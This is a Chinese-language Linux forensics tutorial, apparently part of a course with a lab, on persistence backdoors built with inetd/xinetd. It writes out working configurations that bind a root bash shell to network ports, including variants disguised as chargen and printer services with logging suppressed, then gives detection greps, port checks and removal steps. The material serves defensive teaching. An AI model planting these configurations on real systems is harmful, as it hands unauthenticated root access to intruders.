inetd/xinetd 后门 — 端口绑定 Shell 服务
利用 inetd/xinetd 超级服务器机制，将 /bin/bash 绑定到特定端口，实现”连接即获取 shell”
关联：08-服务与启动项审计 | 05-进程与网络分析
inetd/xinetd 概述
什么是超级服务器
inetd (Internet daemon) 和 xinetd (extended inetd) 是 Linux 的”超级服务器”
它们监听多个端口，当有连接时按需启动对应的服务程序
好处：不需要每个服务都常驻内存
现代 Linux 已基本被 systemd socket 替代，但很多系统仍然安装了 xinetd
inetd vs xinetd
| 特性 |
inetd |
xinetd |
| 配置 |
/etc/inetd.conf |
/etc/xinetd.conf + /etc/xinetd.d/ |
| 访问控制 |
无 |
内置 IP 访问控制 |
| 日志 |
基本 |
详细 |
| 状态 |
已过时 |
部分系统仍在使用 |
后门构造
inetd 后门
1
2
3
4
5
6
|
31337 stream tcp nowait root /bin/bash bash -i
kill -HUP $(pidof inetd)
|
效果：连接到 31337 端口即获得 root bash shell
xinetd 后门
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
cat > /etc/xinetd.d/backdoor << 'EOF'
service backdoor
{
disable = no
socket_type = stream
protocol = tcp
port = 31337
wait = no
user = root
server = /bin/bash
server_args = -i
log_type = FILE /dev/null
}
EOF
echo "backdoor 31337/tcp" >> /etc/services
systemctl restart xinetd
|
更隐蔽的变体
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
cat > /etc/xinetd.d/chargen-dgram << 'EOF'
service chargen
{
disable = no
type = UNLISTED
socket_type = stream
protocol = tcp
port = 19
wait = no
user = root
server = /bin/bash
server_args = -i
}
EOF
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
cat > /etc/xinetd.d/printer << 'EOF'
service printer
{
disable = no
type = UNLISTED
socket_type = stream
protocol = tcp
port = 9100
wait = no
user = root
server = /usr/bin/python3
server_args = -c "import os;os.dup2(os.open('/dev/null',os.O_RDWR),2);os.execv('/bin/bash',['/bin/bash','-i'])"
}
EOF
|
检测方法
配置文件检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
cat /etc/inetd.conf 2>/dev/null | grep -v "^#" | grep -v "^$"
cat /etc/xinetd.conf 2>/dev/null
ls -la /etc/xinetd.d/ 2>/dev/null
for f in /etc/xinetd.d/*; do
echo "=== $f ==="
cat "$f" 2>/dev/null
echo ""
done
grep -rn "/bin/bash\|/bin/sh\|/usr/bin/python" /etc/inetd.conf /etc/xinetd.d/ 2>/dev/null
grep -rn "disable.*=.*no" /etc/xinetd.d/ 2>/dev/null
|
网络层检查
1
2
3
4
5
6
|
ss -antlp | grep -i "inetd\|xinetd"
echo "id" | nc -w 3 localhost 31337
|
进程检查
1
2
3
4
5
6
|
ps aux | grep -E "inetd|xinetd"
systemctl status xinetd 2>/dev/null
chkconfig --list 2>/dev/null
|
清除方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
rm -f /etc/xinetd.d/backdoor
sed -i '/backdoor/d' /etc/services
systemctl restart xinetd 2>/dev/null
kill -HUP $(pidof inetd) 2>/dev/null
systemctl stop xinetd
systemctl disable xinetd
|
实战练习
配套实验：labs/17-persistence-misc/
排查目标：
- 检查 xinetd 是否在运行
- 发现恶意的 xinetd 服务配置
- 确认后门端口和绑定的程序
- 清除后门